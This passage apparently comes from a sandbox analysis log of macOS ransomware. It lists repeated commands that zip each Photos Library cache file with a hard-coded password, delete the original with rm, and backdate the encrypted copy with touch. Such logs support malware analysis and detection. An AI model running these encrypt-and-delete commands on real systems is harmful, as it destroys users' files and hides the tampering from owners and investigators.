  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-wal"
  2⤵
  PID:732
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-wal"
  2⤵
  PID:733
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-wal"
  2⤵
  PID:733
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-wal.crypt"
  2⤵
  PID:734
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-shm"
  2⤵
  PID:735
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-shm"
  2⤵
  PID:736
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-shm"
  2⤵
  PID:736
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-shm.crypt"
  2⤵
  PID:737
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-shm"
  2⤵
  PID:738
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-shm"
  2⤵
  PID:739
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-shm"
  2⤵
  PID:739
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-shm.crypt"
  2⤵
  PID:740
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-shm"
  2⤵
  PID:741
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-shm"
  2⤵
  PID:742
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-shm"
  2⤵
  PID:742
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-shm.crypt"
  2⤵
  PID:743
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-wal"
  2⤵
  PID:744
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-wal"
  2⤵
  PID:745
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-wal"
  2⤵
  PID:745
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-wal.crypt"
  2⤵
  PID:746
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite"
  2⤵
  PID:747
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite"
  2⤵
  PID:748
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite"
  2⤵
  PID:748
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite.crypt"
  2⤵
  PID:749
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite"
  2⤵
  PID:750
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite"
  2⤵
  PID:751
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite"
  2⤵
  PID:751
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite.crypt"
  2⤵
  PID:752
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-shm"
  2⤵
  PID:753
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-shm"
  2⤵
  PID:754
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-shm"
  2⤵
  PID:754
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-shm.crypt"
  2⤵
  PID:755
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-wal"
  2⤵
  PID:756
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-wal"
  2⤵
  PID:757
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-wal"
  2⤵
  PID:757
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-wal.crypt"
  2⤵
  PID:758
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite"
  2⤵
  PID:759
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite"
  2⤵
  PID:760
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite"
  2⤵
  PID:760
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite.crypt"
  2⤵
  PID:761
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-shm"
  2⤵
  PID:762
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-shm"
  2⤵
  PID:763
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-shm"
  2⤵
  PID:763
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-shm.crypt"
  2⤵
  PID:764
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite"
  2⤵
  PID:765
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite"
  2⤵
  PID:766
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite"
  2⤵
  PID:766
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite.crypt"
  2⤵
  PID:767
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-wal"
  2⤵
  PID:768
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-wal"
  2⤵
  PID:769
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-wal"
  2⤵
  PID:769
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-wal.crypt"
  2⤵
  PID:770
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-shm"
  2⤵
  PID:771
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-shm"
  2⤵
  PID:772
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-shm"
  2⤵
  PID:772
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-shm.crypt"
  2⤵
  PID:773
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGSearchComputationCache.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGSearchComputationCache.plist"
  2⤵
  PID:774
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGSearchComputationCache.plist"
  2⤵
  PID:775
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGSearchComputationCache.plist"
  2⤵
  PID:775
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGSearchComputationCache.plist.crypt"
  2⤵
  PID:776
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-wal"
  2⤵
  PID:777
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-wal"
  2⤵
  PID:778
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-wal"
  2⤵
  PID:778
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-wal.crypt"
  2⤵
  PID:779
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-shm"
  2⤵
  PID:780
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-shm"
  2⤵
  PID:781
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-shm"
  2⤵
  PID:781
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-shm.crypt"
  2⤵
  PID:782
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite"
  2⤵
  PID:783
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite"
  2⤵
  PID:784
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite"
  2⤵
  PID:784
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite.crypt"
  2⤵
  PID:785
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph"
  2⤵
  PID:786
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph"
  2⤵
  PID:787
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph"
  2⤵
  PID:787
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-shm"
  2⤵
  PID:788
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-shm"
  2⤵
  PID:789
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-shm"
  2⤵
  PID:789
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-shm.crypt"
  2⤵
  PID:790
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-wal"
  2⤵
  PID:791
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-wal"
  2⤵
  PID:792
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-wal"
  2⤵
  PID:792
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-wal.crypt"
  2⤵
  PID:793
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb"
  2⤵
  PID:794
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb"
  2⤵
  PID:795
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb"
  2⤵
  PID:795
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb.crypt"
  2⤵
  PID:796
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-wal"
  2⤵
  PID:797
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-wal"
  2⤵
  PID:798
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-wal"
  2⤵
  PID:798
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-wal.crypt"
  2⤵
  PID:799
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-shm"
  2⤵
  PID:800
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-shm"
  2⤵
  PID:801
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-shm"
  2⤵
  PID:801
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-shm.crypt"
  2⤵
  PID:802
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb"
  2⤵
  PID:803
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb"
  2⤵
  PID:804
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb"
  2⤵
  PID:804
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb.crypt"
  2⤵
  PID:805
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-shm"
  2⤵
  PID:806
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-shm"
  2⤵
  PID:807
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-shm"
  2⤵
  PID:807
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-shm.crypt"
  2⤵
  PID:808
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb"
  2⤵
  PID:809
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb"
  2⤵
  PID:810
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb"
  2⤵
  PID:810
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb.crypt"
  2⤵
  PID:811
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-wal"
  2⤵
  PID:812
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-wal"
  2⤵
  PID:813
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-wal"
  2⤵
  PID:813
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-wal.crypt"
  2⤵
  PID:814
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-wal"
  2⤵
  PID:815
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-wal"
  2⤵
  PID:816
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-wal"
  2⤵
  PID:816
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-wal.crypt"
  2⤵
  PID:817
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotoAnalysisServicePreferences.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotoAnalysisServicePreferences.plist"
  2⤵
  PID:818
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotoAnalysisServicePreferences.plist"
  2⤵
  PID:819
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotoAnalysisServicePreferences.plist"
  2⤵
  PID:819
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotoAnalysisServicePreferences.plist.crypt"
  2⤵
  PID:820
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/revgeoprovider.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/revgeoprovider.plist"
  2⤵
  PID:821
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/revgeoprovider.plist"
  2⤵
  PID:822
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/revgeoprovider.plist"
  2⤵
  PID:822
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/revgeoprovider.plist.crypt"
  2⤵
  PID:823
- /usr/bin/zip
